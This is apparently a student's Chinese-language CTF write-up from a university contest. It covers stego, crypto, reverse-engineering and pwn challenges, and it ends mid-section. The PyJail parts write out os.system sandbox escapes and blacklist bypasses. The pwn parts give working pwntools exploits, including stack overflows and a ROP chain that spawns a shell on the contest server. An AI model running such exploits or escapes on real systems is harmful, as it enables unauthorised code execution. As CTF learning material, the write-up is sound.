这是标准的 Base64 密文,解码后得到 Flag。

image-20260830183727860

2. 主唱是…?

工具:010 Editor

拿到图片后,先用 Aperi’Solve 观察图片。

image-20260831082541170

发现图片中有 13800 字节被当成垃圾数据,这些字节是重点,决定用 010 Editor 观察这些多余的字节。

image-20260831082956842

起初怀疑是文件尾(FF D9)后面藏了信息,但发现全文件只有一个文件尾。结合题目中的“回头看看”,怀疑多余字节藏在文件内部。首先怀疑出题人修改了图片的高和宽,查找 FF C0 观察高宽,并将其改大:将原本的 04 FC 04 38 改为 07 FC 07 38,保存后查看图片。

star_night(4)

发现其底部确实藏有 Flag,且得知与宽度无关。将宽度改回正常值后得到 Flag。

image-20260831085030009

3. 连环计

工具:010 Editor

打开压缩包提示需要密码,根据右侧提示输入密码 12345,进入第二层。

image-20260831093733371

第二层要求输入图灵的名字(小写),输入 alan 进入第三层。

image-20260831093847326

第三层提示想到一个五位数密码,猜猜是什么。因为无提示,决定进行爆破。

image-20260831094233189

破解得到密码 46732,解压后得到一个图片。

image-20260831094403001

(这是什么恶趣味啊喂!)

虽然图片显示说被骗了,但还是决定用 010 Editor 观察一下:搜索文件尾(FF D9)获得多余字节,观察为 PNG 文件,将其提取出来。

image-20260831094700749

提取后为一个残缺的二维码。

image-20260831094814199

观察发现缺少三个定位码,补齐后扫描。

![img](file:///C:\Users\lenovo\Documents\Tencent Files\2654615298\nt_qq\nt_data\Pic\2026-08\Thumb\bdc7f610c072e050a2dea63b856daabc_720.jpg)

得到 Flag。(要改格式)

image-20260831095107539

4. PyJail_01

工具:VM 虚拟机

打开虚拟机,创建nc链接输入

1
nc ctf.zypc.xupt.edu.cn 50314

获得token:fmJfFfRBsbH8PpUS,题目要求把随机字符串反转后作为答案,得到

1
SUpP8HbsBRfFfJmf

输入后显示要键入表达式,首先确保表达式能被执行,输入1+1,print(1)等image-20260905150424306

获得信息,不需要任何复杂的 subclasses 逃逸链,直接用最短路径就能拿 flag。

输入

1
__import__('os').system('ls')

查看目录,看到flag输入

1
__import__('os').system('cat flag')

获得flag

5. PyJail_02

工具:VM 虚拟机

依旧按照上题,建立nc连接输入

1
nc ctf.zypc.xupt.edu.cn 50317

获得token:10fiCBRGGBP3kmCf

反转输入fCmk3PBGGRBCif01image-20260905152117701

获得黑名单:open, flag, [, ], import, getattr, _, read

先测 exec 还在不在,输入

1
exec('1+1')

正常运行,输入

1
exec('im'+'port os;os.system("ls")')

image-20260905152359027

没有直接的 flag 文件,推测大概率 flag 藏在 chall.py 里,输入

1
exec('im'+'port os;os.system("cat chall.py")')

image-20260905152523868

得到源码,发现黑名单只是纯文本匹配(明确当前方向正确),查看根目录

1
exec('im'+'port os;os.system("ls -la /")')

同时全盘找flag

1
exec('im'+'port os;os.system("find / -maxdepth 3 -name *fl* 2>/dev/null")')

image-20260905153050734

确认根目录确实有 /flag(小写,43 字节,只读),find 也确认了 /flag 存在输入

1
exec('im'+'port os;os.system("cat /fla*")')

得到flag

6. PyJail_03

工具:VM 虚拟机

继续原来的思路,nc连接,转换token,测试1+1image-20260905153321458

获得信息:新限制是 MAX LENGTH :: 13—— 每次输入最长 13 个字符

黑名单是:open, flag, [, ], import, getattr, _, read(废除了魔术方法)

在上一题的chall.py里得到

1
sys.breakpointhook = make_socket_breakpoint(self)

即出题人把 breakpoint() 这个内置函数的行为改成了 “打开一个调试器”,怀疑本题也遵从这个逻辑,输入

1
breakpoint()

成功来到(pdb)依次输入

1
2
import os
os.system('cat /fl*')

成功获得flag

7. 基石之花冠

工具:Audacity

打开文件为一首歌,仔细聆听发现在三段间奏处有类似于摩斯密码的嘀嘀嘀的声音。分离音轨后,对这三处进行截取:第 1 段 0:03.0 - 0:09.8(约 6.8 秒),第 2 段 2:19.8 - 2:26.9(约 7 秒),第 3 段 3:56.7 - 4:03.6(约 6.9 秒)。对其进行放慢或加快处理均听不到嘀嘀嘀的声音——即单声道时嘀声消失,而原始文件是立体声时有嘀声,这说明摩斯是”反相”藏在左右声道的。对其进行反相操作,同时确定频率为低频带(80–1000Hz),尝试后在 779Hz 处给出了清晰的摩斯点划。对其进行解码,分别为段 1(2.99-9.83s)ZYPCYKLSE、段 2(139.8-146.9s)?BU_P1NS、段 3(236.7-243.6s)?BU_X1NG。对其进行杂音剔除与 _ 的替换后为 ZYPC{Ykls_Bu_P1n_Bu_X1ng}(好一个顶级阳谋)(看着是不是很少,其实歌快听吐了awa)

密码方向

1. Gaius Julius Caesar

考点:凯撒解密

拿到密文:

1
xwna{aycqP_w0s_ilmuL}

根据提示得知为凯撒加密,对其解密拿到 Flag。

image-20260831095546283

2. RSA 入门

考点:RSA 基础

打开压缩包,里面有几串数字,根据题目提示 RSA,决定进行解密。

image-20260831100446296

image-20260831100505894

得到明文 m:

1
14181563315103421092017473775336109014578525345479716619338412757961020025040509

将其转换为十六进制并进行 UTF-8 解码,得到 Flag。

image-20260831101046900

3. Vigenère

考点:维吉尼亚密码

打开题目得到一串密文:

1
YWEe{1_RCT_xHEtpDPt}

以及密钥(十六进制转化):

1
zypczy

使用维吉尼亚密码解码后发现 Flag 不正确。观察密钥发现 zypczy 存在 zy 重复,决定将密钥改为 zypc,得到正确 Flag。

image-20260831101756931

4. XOR 入门

考点:XOR 加密

打开压缩包获得一串密文:

1
ciphertext = 4b4844564a4c01436b5c426b425e6b705047484c

将压缩包内的脚本用记事本打开获得密钥。

image-20260831105002295

进行解密后得到 Flag。

image-20260831105215443

5. 巴别塔圣歌

考点:字典密码

打开压缩包,里面有四个图片。根据图片推断前三张为字典、最后一张为密文。第一个图片所对应的字母为 zypc。

image-20260831124315281

第二个为 eyes。

image-20260831124617235

第三个为 mountain。

image-20260831124750097

结合字典破译密文。

image-20260831124827950

得到 Flag

6. 黄道十二宫

考点:字符替换(阅读顺序)

打开文件得到一串字符。

image-20260831125315347

根据题目提示的读取顺序进行读取,得到:

1
Onlyagniuscancatchmeandobtainzypc{zodiac_killernonedy_it_will_be_deciphered!}

从中提取 Flag

7. RC FOUR

考点:RC4 密钥流重用攻击

题目提示”希望你能理解 rc4 的本质和流密码“,得知需要用到rc4:

RC4 是流密码:密文 = 明文 ⊕ 密钥流
密钥流只由 key 决定,与明文无关
所以同一把 key 加密两段内容,密钥流会被完全复用

题目给了两端密文

image-20260905160048346

已知密钥流相同

1
C1 ⊕ C2 = P1 ⊕ P2

也就是说,只要知道其中一段明文,就能解出另一段。这种题一般分为三类

A. 带脚本 附件有 challenge.py 之类 脚本里写死的已知明文
B. 交互服务器 用 nc 连接,能发东西 你自己发一段已知内容,服务器返回它的密文
C. 描述里直接给 题目文字写着 “已知明文是 xxx” 直接抄

由题目我们知道它自带了一个脚本,符合A型,用记事本打开脚本获得明文zypc{welcome to the crypto challenge 2026}image-20260905160612914

两段密文用的是同一个 KEY,所以密钥流复用,攻击成立。创建一个脚本,把已知明文放进去,即可获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import xor   # pip install pwntools

# 图里的两段密文

c_welcome = bytes.fromhex("653852b03ac7e29ba6670274fc192b26d7d66ce5c424d70d01bf9155847521eaccb8efbe492682bac593")
c_flag = bytes.fromhex("653852b03ac2e4c39a630a68fc012118c8cd56cacb37c71301b5b64291")

# 脚本里的已知明文

welcome = b"zypc{welcome_to_the_crypto_challenge_2026}"

keystream = xor(c_welcome, welcome) # 密钥流 = 已知明文 ⊕ 它的密文
flag = xor(c_flag, keystream[:len(c_flag)]) # 用密钥流解 flag 密文
print(flag.decode())

将创建好的脚本运行即可获得flag

1
python solve.py

8. ez_xor

考点:XOR 密钥复用

原来我们已经写过一个xor的题了,依照上次的解题思路来写这道题,已知密文image-20260905161331543

同时给了提示flag 头是 zypc,已知xor可逆即密文 xor 明文 = 密钥那么我们就可以用已知明文去 “撞” 出密钥,把密文和 flag 头都转成字节密文是十六进制串,两两一组:20 23 2a 39 21 …,zypc{ 的 ASCII 是:7a 79 70 63 7b,开始推密钥

20 7a (z) 5a
23 79 (y) 5a
2a 70 (p) 5a
39 63 (c) 5a
21 7b ({) 5a

得到密钥为0x5a即z循环异或整个密文,使用CyberChef解密得到flag

9. 佛曰

考点:佛曰密码(与佛论禅)

这道题得知输曳伊摩地俱埵唵度遮嚧伊悉室婆苏无谨阇诃沙伽罚呼俱栗遮提利地墀提阇提喝穆尼耶羯驮萨耶迦婆谨地地卢萨穆输沙南婆为密文需要解密,同时了解到这题是与佛论禅类的题目,在网站上输入密文解密后显示结构错误要带上佛曰,带上后仍然无果,观察发现可以输入密钥,重新通读题目,推测密文的上句我说:每一天中的每一天为密钥输入后仍然无果,同时发现佛曰分为许多版本,其中有一种版本为佛又曰(Takuron 版)怀疑出题人是故意写的佛曰(其实是佛又曰)进行错误指导,在Takuron 版尝试并输入密文后,获得flag(还有误导,可恶)

10. X-box

考点:S-box 置换

打开文件发现一串数字image-20260905171724777

同时观察脚本

image-20260905171850767

得知为一道 “已知种子的 S-box 置换” 类密码题,加密脚本逻辑为

1
2
3
4
5
6
7
8
9
10
11
import random
random.seed(num) # 用 num 当种子
sbox = list(range(256)) # 0~255
random.shuffle(sbox) # 打乱成一个置换表

# find(): 把字节拆成高4位row、低4位col,取 sbox[row*16+col]

# 因为 row*16+col 恰好等于 byte 本身,所以等价于:val = table[byte]

# 密文字节 = sbox[明文字节]

也就是一个纯置换(代换)加密:c = sbox[p],S-box 由种子唯一决定。

已知置换是可逆的,只要拿到同一个 S-box 再求逆就能还原,那么编辑脚本(random 是可复现的,种子可以暴力扫描)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import random

cipher = [181, 21, 74, 104, 236, 37, 132, 143, 108, 148,
178, 143, 162, 152, 148, 86, 143, 223, 14, 17, 187]

def solve(seed):
random.seed(seed)
sbox = list(range(256))
random.shuffle(sbox)
inv = [0] * 256
for i, v in enumerate(sbox):
inv[v] = i
return ''.join(chr(inv[c]) for c in cipher)

def ok(m):
return all(32 <= ord(ch) <= 126 for ch in m)

# 1) 提示相关的候选种子

cands = [10, 1, 1001, 1010, 101, 1100, 100, 11, 100, 1011, 110, 187, 0, 42, 1234]
for c in cands:
m = solve(c)
if ok(m):
print(f"候选 seed={c} -> {m!r}")

# 2) 暴力扫 0 ~ 999999

for s in range(1000000):
m = solve(s)
if ok(m):
print(f"seed={s} -> {m!r}")

得到flag

11. COPPER!!!

考点:RSA 高位已知攻击(Coppersmith)

将附件下载下来观察,根据提示得知为RSA 高位已知攻击(Coppersmith partial key exposure),文件里的信息进行收集

  • 它用两个 512 位素数 p, q 生成 n,e=65537 加密得到 c

  • 关键泄露:gift = p >> 242 << 242 其实就是p 的高 270 位已知,低 242 位未知

所以我们的思路就是gift = p 的高 270 位左移 242 位,所以令 p = gift + x0(x0 < 2^242 未知),构造多项式 f(x) = x + gift,在模 n 下用 LLL 格约简找到小根 x0,即可还原 p,再正常 RSA 解密(x已经给了X = 2^242)

根据这些编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
n = 140327665931428241706507247511826886093740217602461830887409831500907969733799184229464348140160717878309720399630609215454541244678351056811787417196168382507927421098335348193151253309598658732867196073226290597125288893904368001961122132820607200984760479764946667413007554875074320153039722778153742311461
c = 74995704456616820719100690057322421247346194574347593684166139608717332377476192115661760565358462457408691247204954542529153656305113007784985375119964290114236210309445462433459829367216332501983787074197719310702291526862513283453963097700207339607157037260835500137765970074635321455786959911253844517767
gift = 10624933113294618279573202784441760013655396375905613681685286099208112761702666800205202039706203159304470097907734264202015597857475766737342007968006144
e = 65537

R.<x> = PolynomialRing(Zmod(n))
f = x + gift
x0 = f.small_roots(X=2^242, beta=0.5, epsilon=0.01)
print("x0 =", x0)

p = gift + int(x0[0])
assert n % p == 0
q = n // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(m.to_bytes((m.bit_length() + 7) // 8, 'big'))

然后在https://sagecell.sagemath.org/上运行,结果跑不出来qaq。原因是因为默认参数把格做成了 50 维,并且

small_roots 内部的求根算法对这么大的数不收敛,免费版的直接gg,所以换成30维,求根改用纯整数算法,去避开卡死。代码换为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
n = 140327665931428241706507247511826886093740217602461830887409831500907969733799184229464348140160717878309720399630609215454541244678351056811787417196168382507927421098335348193151253309598658732867196073226290597125288893904368001961122132820607200984760479764946667413007554875074320153039722778153742311461
c = 74995704456616820719100690057322421247346194574347593684166139608717332377476192115661760565358462457408691247204954542529153656305113007784985375119964290114236210309445462433459829367216332501983787074197719310702291526862513283453963097700207339607157037260835500137765970074635321455786959911253844517767
gift = 10624933113294618279573202784441760013655396375905613681685286099208112761702666800205202039706203159304470097907734264202015597857475766737342007968006144
e = 65537
X = 2^242

R.<x> = PolynomialRing(ZZ)
f = x + gift

m, t = 15, 15
nn = m + t

# 构造 Coppersmith 格

gg = [n^(m-i) * f^i for i in range(m)] + [f^m * x^i for i in range(t)]
BB = matrix(ZZ, nn)
for ii in range(nn):
for jj in range(nn):
BB[ii, jj] = gg[ii][jj] * X^jj

print("LLL 约简中...")
BB = BB.LLL()
print("LLL 完成")

# 纯整数 Hensel 提升求根

def hensel_find(H, q):
Hp = H.derivative()
for r in range(q):
if H(r) % q != 0:
continue
d = Hp(r) % q
if d == 0:
continue
inv = inverse_mod(d, q)
xx, mod = r, q
while mod < X:
nm = mod * q
Hx = H(xx) % nm
if Hx % mod != 0:
break
xx = (xx - ((Hx // mod) * inv % q) * mod) % nm
mod = nm
else:
if H(xx) == 0:
return xx
return None

found = False
for r_i in range(3):
v = BB[r_i]
if all(vi == 0 for vi in v):
continue
deg = nn - 1
H = sum(v[j] * X^(deg-j) * x^j for j in range(nn))
for q in [1009, 1013, 1019, 1021, 1031]:
x0 = hensel_find(H, q)
if x0 is not None and n % (gift + x0) == 0:
p = gift + x0
print("找到 p !")
found = True
break
if found:
break

assert found
q2 = n // p
phi = (p - 1) * (q2 - 1)
d = pow(e, -1, phi)
mval = pow(c, d, n)
print(mval.to_bytes((mval.bit_length() + 7) // 8, 'big'))

然后运行获得flag

Pwn 方向

1. nc checkin

工具:VM 虚拟机

用虚拟机打开这道题。

image-20260831130400487

能直接看见 Flag(真的是这样子嘛,好草率)。

  • 111,这里是写完pwn回来的我,现在越看越觉得草率,还是正经来一次吧,输入

    1
    nc ctf.zypc.xupt.edu.cn 50173

    建立连接image-20260916133614768

2. 长安校区门禁登记表

工具:VM 虚拟机

将题目中的文件下载,在虚拟机里先进行尝试。输入命令把文件传进虚拟机:

1
2
3
cd ~
chmod +x campus-gate
echo 'flag{this_is_a_test}' > flag.txt

因为 name 有 24 字节的缓冲区,且提示与学校名字相关,根据 gate_code == 0x54505558 得知为 XUPT(西安邮电大学的英文缩写),所以 payload 构造为:24 字节填充(填满 name)+ 4 字节 XUPT,即 24*a + XUPT。

1
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*24 + b"XUPT")' | ./campus-gate

看到输出结果如下:

image-20260831132928974

发现本地尝试成功,开始在题目网址中实践,获得 Flag。

image-20260831132552976

3. 天台信号发射台

工具:VM 虚拟机

拿到文件先做基本侦察输入

1
file rooftop-signal          # 看架构:64位还是32位,是否 strip

获得输出,同时获得信息file 显示这是 64 位 ELF、动态链接、而且没有 strip—— 意味着函数名和地址都能直接看到

image-20260905173518643

因为没有strip直接列出所有函数,同时看下提示字符串确认

1
2
objdump -d rooftop-signal | grep ">:" 
strings rooftop-signal | grep -i -E "flag|/bin|shell"

image-20260905173910846

获得关键信息:找到了隐藏函数:secret_rooftop,地址 0x40125d,程序是非 PIE(地址固定在 0x40xxxx,可以硬编码跳转地址),字符串里有 flag.txt / [signal] flag.txt missing,这就表明了 secret_rooftop 就是去读并输出 flag 的。

输入

1
pwn checksec ./rooftop-signal

确认保护,同时输入反汇编函数搞清楚漏洞点和偏移。

1
2
3
objdump -d rooftop-signal | sed -n '/<write_signal>:/,/^$/p'
objdump -d rooftop-signal | sed -n '/<main>:/,/^$/p'
objdump -d rooftop-signal | sed -n '/<secret_rooftop>:/,/^$/p'

找到关键的信息

1
2
3
4
lea -0x30(%rbp),%rax    ; 目标缓冲区,只有 0x30 = 48 字节
mov $0x90,%edx ; 却往里面读 0x90 = 144 字节!
mov $0x0,%edi
call read ; read(0, buf, 0x90) → 栈溢出

现在已知目标函数和漏洞点,根据已知信息写一个exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.binary = './rooftop-signal'
context.log_level = 'debug'

p = remote('ctf.zypc.xupt.edu.cn', 50371) # 打远程
# p = process('./rooftop-signal') # 本地调试用,二选一

offset = 56
win_addr = 0x40125d

payload = b'A' * offset + p64(win_addr)

p.send(payload) # read() 不需要换行,用 send 即可
p.interactive()

建好之后输入

1
python3 exp.py

获得flag

4. 教室座位贴纸机

工具:VM 虚拟机

根据上一题经验,先将文件弄进 VM并检查

1
2
3
4
cd ~/Downloads
chmod +x seat-badge
file seat-badge
pwn checksec ./seat-badge

image-20260905175029370

寻找漏洞点和内存布局,输入

1
2
3
objdump -d seat-badge | grep ">"          # 看有哪些函数
objdump -d seat-badge | sed -n '/<main>:/,/^$/p' # 看 main
strings seat-badge # 找志愿者/学生相关字符串

由于这题根本不用栈溢出到返回地址,所以这些防护全部无效,忽略即可。同时main的逻辑为

1
2
3
4
5
6
7
8
9
10
11
12
13
char seat[16];        // 在 rbp-0x20
char badge = 'N'; // 在 rbp-0x10,初始是 'N' (0x4e)
int i = 0;

while (i < 3) {
printf("%d", i+1); // 提示
n = read(0, seat, 0x11); // ← 关键!读 0x11 = 17 字节,但 seat 只有 16 字节
if (n <= 0) { puts("no input"); exit(0); }
printf("badge = '%c'", badge);
if (badge == 'Y') // 0x59 = 'Y'
print_flag(); // ← 我们的目标,读 flag.txt 打印
...
}

找到漏洞seat 数组在 rbp-0x20,badge 在 rbp-0x10,两者紧挨着。而 read 读 17 字节—— 第 17 个字节(下标 16)正好溢到 badge 上。这就是题目说的 “为了处理换行多收了一个字符”。因此只要输入 16 字节随便填 + 1 个 Y,第 17 个字节就把 badge 从 ‘N’ 改成 ‘Y’,程序立刻调 print_flag() 打印 flag,根据这个逻辑我们编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.binary = './seat-badge'

# 本地调试

p = process('./seat-badge')
# 打远程时改成这行,注释掉上面

# p = remote('ctf.zypc.xupt.edu.cn', 50372)

payload = b'A' * 16 + b'Y' # 16 字节填满座位号 + 1 字节把徽章改成 'Y'
p.send(payload) # read() 不需要换行,send 即可
p.interactive()

运行

1
python3 exp.py

获得flag

5. 校园网 AP 值班面板

工具:VM 虚拟机

下载文件并检查

1
2
3
4
cd ~/Downloads
chmod +x wifi-panel
file wifi-panel
pwn checksec ./wifi-panel

根据题目决定看一下彩蛋,输入

1
2
chmod +x wifi-panel
strings wifi-panel

继续原来做题的方法,寻找漏洞,输入

1
2
objdump -d wifi-panel | grep ">"
objdump -d wifi-panel | sed -n '/<main>:/,/^$/p'

从中可用得知main的栈布局

1
2
3
4
5
-0x20  admin_sw = 0        ← 运维开关,初始 0
-0x1c public_ap[0] = 100
-0x18 public_ap[1] = 101
-0x14 public_ap[2] = 102
-0x10 public_ap[3] = 103

和关键漏洞

1
2
3
16c1: mov %eax,-0x28(%rbp)      ; 读入的编号存入 index
16c4: cmpl $0x3,-0x28(%rbp) ; 只检查了 index <= 3
16c8: jle 16de ; → 小于等于 3 就放行

可见只要小于三就可以也就是说可以存在负数,同时

1
1702: mov %edx,-0x1c(%rbp,%rax,4)   ; 写 public_ap 数组基址 -0x1c + index*4

index = -1 时 → 写到 -0x1c - 4 = -0x20,正好是 admin_sw 运维开关。触发了

1
2
3
172d: mov -0x20(%rbp),%eax     ; 读 admin_sw
1730: cmp $0x7a69,%eax ; 如果 == 0x7a69 (31337)
1737: call print_flag ; 就打印 flag

根据这个逻辑,我们编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context.log_level = 'debug'
p = remote('ctf.zypc.xupt.edu.cn', 50374)

# 1) 等菜单,选 2(设置AP功率)

p.recvuntil(b'> ')
p.sendline(b'2')
# 2) 输入编号 -1(越界!绕过低边界检查)

p.recvuntil(b'> ')
p.sendline(b'-1')
# 3) 输入功率值 31337 = 0x7a69

p.recvuntil(b'> ')
p.sendline(b'31337')
# 4) 回到菜单,选 3(运维通道检查)

p.recvuntil(b'> ')
p.sendline(b'3')

p.interactive()

输入

1
python3 exp.py

获得flag

6. simple ROP

工具:VM 虚拟机

打开容器并下载文件,打开终端输入

1
2
3
4
5
ls ~/Downloads/
mv ~/Downloads/simple-rop .
chmod +x simple-rop
file simple-rop
checksec --file=simple-rop

找到文件并检查image-20260914230223948

观察图片No canary — 没有栈溢出保护,No PIE — 地址不随机,二进制里的地址都是固定的,NX enabled — 栈不可执行,需要用 ROP,结合提示得出这是基础的rop环境。

在终端里输入

1
2
3
4
5
6
7
8
# 找字符串

strings simple-rop | grep -i bin/sh

# 找函数符号

nm simple-rop | grep -i system

找一找有没有/bin/sh字符串和system函数。

看一下都有什么函数

1
nm simple-rop | grep ' t '

然后反汇编看main函数

1
objdump -d simple-rop | grep -A 30 '<main>:'

image-20260914230623522

获得关键信息有 /bin/sh 字符串,有 system 函数(动态链接的),有 vuln 函数(漏洞点) ,那么现在我们就看一下vuln,对他反汇编

1
objdump -d simple-rop | grep -A 40 '<vuln>:'

同时也顺手把/bin/sh的字符串地址和pop rdi;ret gadget找了

1
ROPgadget --binary simple-rop | grep "pop rdi"

提取讯息(嘻嘻)vuln中有明显的栈溢出,/bin/sh 字符串:0x404010 pop rdi; ret gadget:0x4011ba

接着确认system的调用,由于他是动态的,所以输入

1
objdump -d simple-rop | grep -A 20 '<keep_system>:'

看 keep_system 函数是不是直接调用了它,同时看plt有没有system

1
objdump -d simple-rop | grep -A 5 '<system@plt>:'

image-20260916125753706

现在将所有的信息进行汇总

  • 溢出偏移:0x48(72 字节)
  • pop rdi; ret:0x4011ba
  • /bin/sh 字符串:0x404010
  • system@plt:0x401090(从 keep_system 的 call 看出来的)

开始编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cat > exp.py << 'EOF'
from pwn import *

p = process('./simple-rop')

pop_rdi = 0x4011ba
bin_sh = 0x404010
system = 0x401090

payload = b'A' * 0x48
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

p.sendline(payload)
p.interactive()
EOF

写好后运行

1
python3 exp.py

image-20260916130038055

失败了(怎么回事呢,阿巴阿巴……)

怀疑是栈对齐的问题,在 ROP 链前面加一个 ret 指令来对齐栈。

重新写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat > exp.py << 'EOF'
from pwn import *

p = process('./simple-rop')

pop_rdi = 0x4011ba
ret = 0x4011bb # 单独的 ret,用来栈对齐
bin_sh = 0x404010
system = 0x401090

payload = b'A' * 0x48
payload += p64(ret) # 先 ret 对齐栈
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

p.sendline(payload)
p.interactive()
EOF

运行image-20260916130223410

终于看到$提示符了(好耶)输入ls确认,然后改成远程链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat > exp.py << 'EOF'
from pwn import *

p = remote('ctf.zypc.xupt.edu.cn', 50826)

pop_rdi = 0x4011ba
ret = 0x4011bb
bin_sh = 0x404010
system = 0x401090

payload = b'A' * 0x48
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

p.sendline(payload)
p.interactive()
EOF

运行后输入ls然后再cat flag 获得flag

RE 方向

1. 第二回 机巧神工,f5 一键开混沌;奇兵天降,千里索迹定乾坤

工具:IDA Pro

根据内容和提示用 IDA Pro 打开 ida.exe,按 F5 查看获得第一部分 Flag。

image-20260831140416002

part1 = ZYPC{Th3_

根据指引双击 tap_me 得到 part2。

image-20260831140701646

part2 = m05t_

根据指引搜索 sub_1337 得到 part3。

image-20260831140818307

part3 = 1mp0rt_

根据指引按 G 跳转到 final_escret 处得到最后部分。

image-20260831141822575

part4 = t00l}

整合获得 Flag

2. 第三回 移花接木,诡谲密码迷人眼;顺藤摸瓜,魔改密码现原形

工具:IDA Pro

下载文件,用 IDA Pro 打开,根据提示按 Shift+F12,找到密文。

image-20260831155749401

1
vWWjjZPy3rcJdHyAbLjHbKwpzWMCdic6mHwJolt8obJq

依据题目内容设计 Base64 脚本,要求 A 对应 Q、B 对应 W:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
map64.py —— 自定义字符映射编码脚本(类似 base64 的可逆替换编码)

默认映射规则(字母表 -> QWERTY 键盘顺序,满足 a→q、b→w):
a→q b→w c→e d→r e→t f→y g→u h→i i→o j→p
k→a l→s m→d n→f o→g p→h q→j r→k s→l t→z
u→x v→c w→v x→b y→n z→m

用法:
python3 map64.py encode "hello world" # 编码
python3 map64.py decode "itssg vgksr" # 解码
echo "secret" | python3 map64.py encode - # 从标准输入读取
"""

import sys

# ---------------- 可自定义映射表 ----------------

# 两个字符串必须等长,且 CIPHER_ALPHABET 中字符不能重复(否则无法唯一解码)

PLAIN_ALPHABET = "abcdefghijklmnopqrstuvwxyz"
CIPHER_ALPHABET = "qwertyuiopasdfghjklzxcvbnm"
# ------------------------------------------------

def _build_maps(plain: str, cipher: str):
if len(plain) != len(cipher):
raise ValueError("映射表与被映射表长度必须一致")
if len(set(cipher)) != len(cipher):
raise ValueError("被映射表中的字符不能重复,否则无法唯一解码")
enc = dict(zip(plain, cipher))
dec = dict(zip(cipher, plain))
return enc, dec


ENC, DEC = _build_maps(PLAIN_ALPHABET, CIPHER_ALPHABET)


def _transform(text: str, table: dict) -> str:
out = []
for ch in text:
low = ch.lower()
if low in table:
mapped = table[low]
out.append(mapped.upper() if ch.isupper() else mapped)
else:
# 数字、标点、空格、中文等不在映射表内的字符原样保留
out.append(ch)
return "".join(out)


def encode(text: str) -> str:
"""按映射表编码:a→q, b→w, ...,保留大小写"""
return _transform(text, ENC)


def decode(text: str) -> str:
"""按映射表解码:q→a, w→b, ...,保留大小写"""
return _transform(text, DEC)


def main():
if len(sys.argv) < 3:
print(__doc__)
sys.exit(1)

action, text = sys.argv[1], sys.argv[2]
if text == "-":
text = sys.stdin.read().rstrip("\n")

if action in ("encode", "e"):
print(encode(text))
elif action in ("decode", "d"):
print(decode(text))
else:
print(f"未知操作: {action}(可选 encode / decode)")
sys.exit(1)


if __name__ == "__main__":
main()

解码密文得到 Flag

3. 第四回 拔地飞梭,无人机巧越禁地;九曲回廊,迷宫深处斩乱麻

工具:IDA Pro

下载文件,用 IDA Pro 打开。根据内容可知是一个矩阵迷宫,用 wasd 控制方向,走通迷宫后可以获得 Flag,那么就需要先知道迷宫长什么样子。按 F5 查看文件,在右下角有相关信息。

image-20260831161405023

标注出了迷宫(maze)的位置 140003000,按 G 跳转到相关位置。

image-20260831161525107

这里暴露出来了迷宫,就是那一串像二进制的东西:

1
0111111100010001110101011001010110111101100000011111110111111151

已知为矩阵迷宫,对字符进行排列,使其成为 8×8 的样子:

1
2
3
4
5
6
7
8
01111111
00010001
11010101
10010101
10111101
10000001
11111101
11111151

可以发现要从左上角出发,走到 5 这里,那么控制顺序为:

1
sddssassdddddss

获得 Flag

4. py 打包与 z3 约束求解

工具:z3 及 Python

打开文件,解包后获得一个文本和一个运行文件。题目已告知要用 z3 解约束。

首先对 challenge 文件进行解包。

image-20260831162913984

在文件夹里运行终端,输入:

1
.\pyinstxtractor.exe challenge.exe

image-20260831163030995

解包得到信息,现在根据题目提示用 z3 解题,先编写 z3 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from z3 import *

target = [269,85,217,158,253,75,247,159,206,151,
186,161,134,183,187,192,200,168,217,197,71]

s = Solver()
c = [BitVec(f'c{i}', 16) for i in range(21)] # 16位防止溢出

for x in c:
s.add(x >= 32, x <= 126) # 限定可见 ASCII

for i in range(19):
s.add(2*c[i] - c[i+1] + c[i+2] == target[i])
s.add(c[19] + c[20] == target[19])
s.add(c[20] ^ 55 == target[20])

assert s.check() == sat
m = s.model()
print('ZYPC{' + ''.join(chr(m[c[i]].as_long()) for i in range(21)) + '}')

脚本编写好后拖入同一个文件夹(这里已经提前把 z3 装好了所以直接运行即可)。如果需要下载,在终端输入:

1
py -3.8 -m pip install z3-solver

image-20260831164024141

求解,输入:

1
py -3.8 solve.py

得到 Flag。

image-20260831164208524

5. 第五回 困兽犹斗,自毁熔绝夺一线;拨云见日,乾坤重塑定太平

工具:IDA Pro

用ida打开文件,按F5看伪代码发现无任何用处,切回main的真实汇编,切到 IDA View-A 标签页,点击main函数image-20260905190128977

在main中得知(0x4011DC)是一个 ”跳板“

1
2
3
4
5
push rbp / mov rbp,rsp ...
call $+5 ← 把下一条指令地址压栈
add [rsp], 0Ch ← 把栈上那个地址 + 0xC:0x4011F1 + 0x0C = 0x4011FD
retn ← 弹出 0x4011FD 并跳过去执行
main endp ← 但 IDA 以为 main 到此结束(其实没有!)

